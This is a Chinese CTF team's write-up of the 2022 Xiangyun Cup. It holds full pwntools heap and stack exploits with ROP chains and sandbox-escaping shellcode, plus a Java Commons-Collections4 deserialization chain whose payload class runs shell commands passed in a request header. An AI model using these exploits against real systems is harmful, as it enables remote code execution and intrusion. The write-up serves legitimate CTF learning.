0xUnion战队2022祥云杯writeup

admin 2024年12月10日17:57:24评论9 views字数 13262阅读44分12秒阅读模式

0xUnion战队是我们的全新战队,我们不聊天,我们只写代码。

“祥云杯”作为战队第一场CTF比赛。虽然没有进线下,也算学习提高吧!

导语:

两天的祥云杯结束了,几个队员全力以赴的时间有限,到了最后半天才冲刺了一下,最后无缘线下总决赛,作为队长,感觉知识盲区太多,现在的CTF真的是PWN天下,Web的题量越来越少,自己太菜,不能怪别人,努力吧!缺撒补撒,上wp,欢迎各位师傅多指点!

Pwn

Unexploitable

啥都没有但是溢出了一大截的栈溢出,PIE开了没办法打resolve,也没办法打alarm,只剩一条vdso的路,但是因为是64位,随机范围是 0xffffffffff000000 ~ 0xfffffffffff00000,即使vdso的随机性不强,也有 1/4096 概率,很离谱,所以慢慢爆吧,蹭这个概率。

from pwn import *#context.log_level='debug'vsyscall = 0xffffffffff600400 while True:    try:        sh = remote('101.201.71.136', 22550)        #sh=process('./ud')        #gdb.attach(sh)        sh.send(b'a' * 0x10 + p64(vsyscall) * 3 + b'x02x33xa3')        sh.sendline(b"cat flag")        m = sh.recv(timeout=0.5)        print(m)        if b"flag" in m:           print(m)           break        sh.close()    except:        sh.close()        continue

我愣是跑了一个晚上加一早上才出来。。赛后听别的师傅说半个小时就出了。。

0xUnion战队2022祥云杯writeup

Sandbox

就是bitheap的基础上套了一个沙盒,沙盒用ptrace实现的,但是在处理信号的时候没有考虑到非系统调用的情况,如果直接发一个信号过去,让沙盒处于通过状态,然后再发一个系统调用过去,这个时候不会被过滤,可以直接使用int3来处理,板子和bitheap是一样的,只不过因为要处理shellcode,将打system换成了打environ进栈再rop打mprotect进shellcode。

from pwn import *#r=process(argv=['./sandbox', './sandboxheap'])#r=process('./sandboxheap')r=remote('101.201.71.136','39473')context.log_level='debug'libc=ELF('./libc-2.27-c.so')context.arch='amd64'def add(idx,size): r.sendlineafter(": ",str(1)) r.sendlineafter(": ",str(idx)) r.sendlineafter(": ",str(size))def edit(idx,con): r.sendlineafter(": ",str(2)) r.sendlineafter(": ",str(idx)) r.sendafter(": ",con)def show(idx): r.sendlineafter(": ",str(3)) r.sendlineafter(": ",str(idx))def free(idx): r.sendlineafter(": ",str(4)) r.sendlineafter(": ",str(idx))def parse2bin(s):    # s is bytes    res = b''    s = hex(u64(s))[2:]    # align to 8 bytes    s = s.rjust(16, '0')    # reverse    s = s[::-1]    print(s)    for i in range(len(s)):        res += bin(int(s[i], 16)).encode()[2:].rjust(4, b'0')[::-1]    return res#gdb.attach(r)for i in range(7):    add(i,0xf8)add(7,0xf8)#7add(8,0x88)#8add(9,0xf8)#9add(10,0x88)#10for i in range(7):    free(i)free(8)free(7)add(0,0x88)edit(0,'1'*8*0x80+'0'*4+'1001'+'1000'+'0'*4*13+'0000'+'1000'+'n')free(9)for i in range(1,8):    add(i,0xf8)result=parse2bin(b'/flagx00x00x00')#gdb.attach(r)edit(2,result)add(8,0xf8)add(9,0xf8)show(0)libc_base = u64(r.recvuntil('x7f')[-6:].ljust(8,b'x00'))-0x3ebca0system=libc_base+libc.sym['system']environ=libc_base+libc.sym['environ']print(hex(libc_base))show(5)r.recvuntil(": ")heap=u64(r.recv(6)+b'x00'*2)-0x360+0x760print(hex(heap))free(1)free(0)result=parse2bin(p64(environ))edit(9,result)add(12,0xf8)add(11,0xf8)show(11)stack=u64(r.recvuntil('x7f')[-6:].ljust(8,b'x00'))print(hex(stack))free(9)result=parse2bin(p64(stack-0x110))edit(12,result)add(0,0xf8)add(1,0xf8)rdi=p64(libc_base+next(libc.search(asm('pop rdi;ret'))))rsi=p64(libc_base+next(libc.search(asm('pop rsi;ret'))))rdx=p64(libc_base+next(libc.search(asm('pop rdx;ret'))))rax=p64(libc_base+next(libc.search(asm('pop rax;ret'))))syscall = p64(libc_base+next(libc.search(asm('syscall;ret'))))open=libc_base+libc.sym['openat64']read=libc_base+libc.sym['read']write=libc_base+libc.sym['write']free_hook=libc_base+libc.sym['__free_hook']fake_rsp = free_hook&0xfffffffffffff000mprotect=libc_base+libc.sym['mprotect']result = parse2bin(rdi)+parse2bin(p64(0xffffff9c))result += parse2bin(rsi)+parse2bin(p64(heap))result += parse2bin(rdx)+parse2bin(p64(0))result += parse2bin((rax))+parse2bin(p64(257))+parse2bin(syscall)result1 = parse2bin(rdi)+parse2bin(p64(3))result1 += parse2bin((rsi))+parse2bin(p64(heap))result1 += parse2bin(rdx)+parse2bin(p64(0x100))+parse2bin(p64(read))result2 = parse2bin(rdi)+parse2bin(p64(1))result2 += parse2bin(p64(heap))+parse2bin(rdx)result2 += parse2bin(p64(0x100))+parse2bin(p64(write))#edit(1,result+result1+result2)result3 = parse2bin(rdi)+parse2bin(p64(fake_rsp))result3 += parse2bin(rsi)+parse2bin(p64(0x1000))result3 += parse2bin(rdx)+parse2bin(p64(7))+parse2bin(p64(mprotect))result4 = parse2bin(rdi)+parse2bin(p64(0))result4 += parse2bin((rsi))+parse2bin(p64(fake_rsp))result4 += parse2bin(rdx)+parse2bin(p64(0x1000))+parse2bin(p64(read)) + parse2bin(p64(fake_rsp))edit(1,result3+result4)shellcode = "int 3" + shellcraft.pushstr('flag') + '''/* open(file='rsp', oflag=0, mode=0) */mov rdi, rspxor rdx, rdx /* 0 */xor rsi, rsi /* 0 *//* call open() */xor rax, raxmov rax, 2syscall'''shellcode += shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100)shellcode = asm(shellcode)r.send(shellcode)r.interactive()

还有一种很新的打法, 可以模拟cat,能跑,但是比赛的时候shellcode一直出不了,openat的结果一直是-1,但是换了个题套这个沙盒再打就可以,很奇怪,以下程序,套上沙盒。

#include <stdio.h>int main() {sleep(5); int fd = openat(-100, "/flag", 0);    char buf[24];    read(fd, buf, 24);    write(1, buf, 24);}

0xUnion战队2022祥云杯writeup

0xUnion战队2022祥云杯writeup

从测试来看是没有问题的,可以输出flag,就是不知道为啥跑不了, 有了解的师傅可以联系一下。

Bitheap

就是一个off by one只是输入的时候要求以二进制输入,4位一组,小端,打hook就行。

from pwn import *context.log_level = 'debug'#p = process('./bitheap')p = remote('101.201.71.136', 33260)libc = ELF('./libc-2.27-c.so')ru = lambda s : p.recvuntil(s)sl = lambda s : p.sendline(s)sn = lambda s : p.send(s)rn = lambda s : p.recv(s)rv = lambda : p.recv()sla = lambda r, s : p.sendlineafter(r, s)sa = lambda r, s : p.sendafter(r, s)def debug(s):    gdb.attach(p, '''        source ./loadsym.py        loadsym ./libc-2.27.debug.so    ''' + s)def add(idx,size):    sla(b": ", str(1).encode())    sla(b": ", str(idx).encode())    sla(b": ", str(size).encode())def edit(idx, con):    sla(b": ", str(2).encode())    sla(b": ", str(idx).encode())    sa(b": ", con)def show(idx):    sla(b": ", str(3).encode())    sla(b": ", str(idx).encode())def free(idx):    sla(b": ", str(4).encode())    sla(b": ", str(idx).encode())def parse2bin(s):    # s is bytes    res = b''    s = hex(u64(s))[2:]    # align to 8 bytes    s = s.rjust(16, '0')    # reverse    s = s[::-1]    print(s)    for i in range(len(s)):        res += bin(int(s[i], 16)).encode()[2:].rjust(4, b'0')[::-1]    return res[add(i, 0xf8) for i in range(7)]add(7, 0xf8)add(8, 0x88)add(9, 0xf8)add(10, 0x88)[free(i) for i in range(7)]free(8)free(7)add(7, 0x88)edit(7, b'01010101' * 0x80 + b'000010011000'.ljust(64, b'0') + b'0')free(9)[add(i, 0xf8) for i in range(7)]add(9, 0xf8)show(7)libc_base = u64(ru(b'x7f')[-6:].ljust(8, b'x00')) - 96 - 0x10 - libc.sym['__malloc_hook']success(f'libc_base: {hex((libc_base))}')system = libc_base + libc.sym['system']free_hook = libc_base + libc.sym['__free_hook']add(11, 0x88) # overlap to 7free(7)edit(11, parse2bin(p64(free_hook)) * 2 + b'n')free(11)add(7, 0x88)edit(7, parse2bin(p64(free_hook)))add(11, 0x88)edit(7, parse2bin(b'/bin/shx00'))add(12, 0x88)edit(12, parse2bin(p64(system)))free(7)#debug('')p.interactive()

Crypto

Little little fermat

题目中个给了这么一行,很明显的小费马。

assert 114514 ** x % p == 1

意味着x和p存在如下关系:

0xUnion战队2022祥云杯writeup

然后是生成p q处,q为p加上一个A,A的生成有一定的范围,并且这个范围很小,在10000以内,这意味着我们可以直接费马分解出pq,直接用yafu也行。

def obfuscate(p):    while True:        l1 = [getRandomRange(-1, 1) for _ in '_' * 5] # [1,-1,0,-1,1]        l2 = [getRandomRange(100, 512) for _ in '_' * 5] # [100, 1111, 1111]        l3 = [getRandomRange(10, 128) for _ in '_' * 5] # [10, 100, 127]        l4 = [getRandomRange(2, 6) for _ in '_' *5] # [2,4,6]        A = sum([l1[_] * 2 ** ((l2[_]+l3[_])//l4[_]) for _ in range(0, 5)])        # sum(2^55)        q = p + A        if isPrime(q) * A != 0:            return q

然后常规出flag

import gmpy2from Crypto.Util.number import *N = 141321067325716426375483506915224930097246865960474155069040176356860707435540270911081589751471783519639996589589495877214497196498978453005154272785048418715013714419926299248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883for a in range(gmpy2.iroot(N, 2)[0] + 1, N):    B2 = pow(a, 2) - N    if gmpy2.is_square(B2):        b = gmpy2.iroot(B2, 2)[0]        breakp = a + bq = a - bprint(p)print(q)e = 65537phi = (p - 1) * (q - 1)d = gmpy2.invert(e, phi)print(f'd:{d}')m = gmpy2.powmod(c, d, N)print(f'm:{m}')x = p - 1m = m ^ (x**2)print(long_to_bytes(m))

trace

脚本前定义一个辗转相除法 (计算最大公约数)
为了下面使phi和e的最大公约数为1 才可以继续运行
将转为数字 后利用pow计算
看.out文件是脚本运行过程 从后往前开
flag

0xUnion战队2022祥云杯writeup

.out文件最后给出n c

0xUnion战队2022祥云杯writeup

这里进行bytes_to_long

0xUnion战队2022祥云杯writeup

这里运行的是task.py脚本
也就是将以上代码逆运算写出脚本即可得出flag
得到flag

from gmpy2 import *from Crypto.Util.number import *qwert= open('trace.out','rb').read().split(b'n')[::-1]a,b=1,0for i in range(len(qwert)):    line=qwert[i]    if b'a, b = b, a' in line:        a,b=b,a    if b'a = rshift1(a)' in line:        a<<=1    if b'b = rshift1(b)' in line:        b<<=1    if b'a = a - b' in line:        a=a+bimport gmpy2c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301qwert= ae=65537d = invert(e,qwert)flag = pow(c,d,n)print(long_to_bytes(flag))

0xUnion战队2022祥云杯writeup

Misc

strange forensics

1、 拿到附件是内存镜像,用volatility3分析得到是ubunt18的系统,但是vol3的linux分析环境不行,所以直接用winhex。
由于密码是存到SHAdow里的,在之前发现了里面的bob用户,所以直接在内存里搜shadow文件bob:,找到哈希解密得到密码890topico。

0xUnion战队2022祥云杯writeup

2、用binwalk分析里面的文件,得到一个压缩包名,但是分离的时候失败了,于是直接用winhex把他扣出来。搜索504B0304找到一个包含1.txt的压缩包,将其分离,打开后显示文件损坏,后来发现是加密标识符被修改了,他原本是加密的压缩包,将其如图位置改为09。

0xUnion战队2022祥云杯writeup

3、用ARCHPR爆破该压缩包密码

0xUnion战队2022祥云杯writeup

0xUnion战队2022祥云杯writeup

0xUnion战队2022祥云杯writeup

Web

Ezjava

使用idea反编译jar包,审计源码,发现接收数据后进行base64解码,读取后调用了ois.readObject()反系列化。

0xUnion战队2022祥云杯writeup

查看依赖发现org.apache.commons4.0,这里可以用cc2链打反序列化

0xUnion战队2022祥云杯writeup

构造poc,由于不出网所以使用命令执行回显的恶意类,得到flag

0xUnion战队2022祥云杯writeup

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.lang.reflect.Method;import java.util.Scanner;public class Evil extends AbstractTranslet{    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }    public Evil() throws Exception{        Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");        Method m = c.getMethod("getRequestAttributes");        Object o = m.invoke(null);        c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");        m = c.getMethod("getResponse");        Method m1 = c.getMethod("getRequest");        Object resp = m.invoke(o);        Object req = m1.invoke(o); // HttpServletRequest        Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");        Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);        getHeader.setAccessible(true);        getWriter.setAccessible(true);        Object writer = getWriter.invoke(resp);        String cmd = (String)getHeader.invoke(req, "cmd");        String[] commands = new String[3];        String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";        if (System.getProperty("os.name").toUpperCase().contains("WIN")) {            commands[0] = "cmd";            commands[1] = "/c";        } else {            commands[0] = "/bin/sh";            commands[1] = "-c";        }        commands[2] = cmd;        writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\A").next());        writer.getClass().getDeclaredMethod("flush").invoke(writer);        writer.getClass().getDeclaredMethod("close").invoke(writer);    }}package CC2;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;public class test {    public static void main(String[] args) throws Exception {        ClassPool classPool = ClassPool.getDefault();        CtClass ctClass = classPool.getCtClass("CC2.Evil");        byte[] bytes = ctClass.toBytecode();        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});        Object TemplatesImpl_instance = constructor.newInstance();        Field bytecodes = aClass.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});        Field name = aClass.getDeclaredField("_name");        name.setAccessible(true);        name.set(TemplatesImpl_instance , "TestTemplatesImpl");        InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);        TransformingComparator transformer_comparator =new TransformingComparator(transformer);        PriorityQueue queue = new PriorityQueue(2);        queue.add(1);        queue.add(1);        Field field=queue.getClass().getDeclaredField("comparator");        field.setAccessible(true);        field.set(queue,transformer_comparator);        field=queue.getClass().getDeclaredField("queue");        field.setAccessible(true);        Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};        field.set(queue,objects);        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(queue);        oos.close();        byte[] aaa = serialize(queue);        System.out.println(Base64.getEncoder().encodeToString(aaa));    }    public static byte[] serialize(Object o) throws Exception{        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();            ObjectOutputStream oout = new ObjectOutputStream(baout)){            oout.writeObject(o);            return baout.toByteArray();        }    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

0xUnion战队2022祥云杯writeup

欢迎各位师傅加入CTF交流群,仅限CTF,非诚勿扰!

0xUnion战队2022祥云杯writeup

群满了,就加队长的微信,拉你进去

原文始发于微信公众号(0xUn1on安全团队):0xUnion战队2022祥云杯writeup

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月10日17:57:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   0xUnion战队2022祥云杯writeuphttps://cn-sec.com/archives/1661894.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息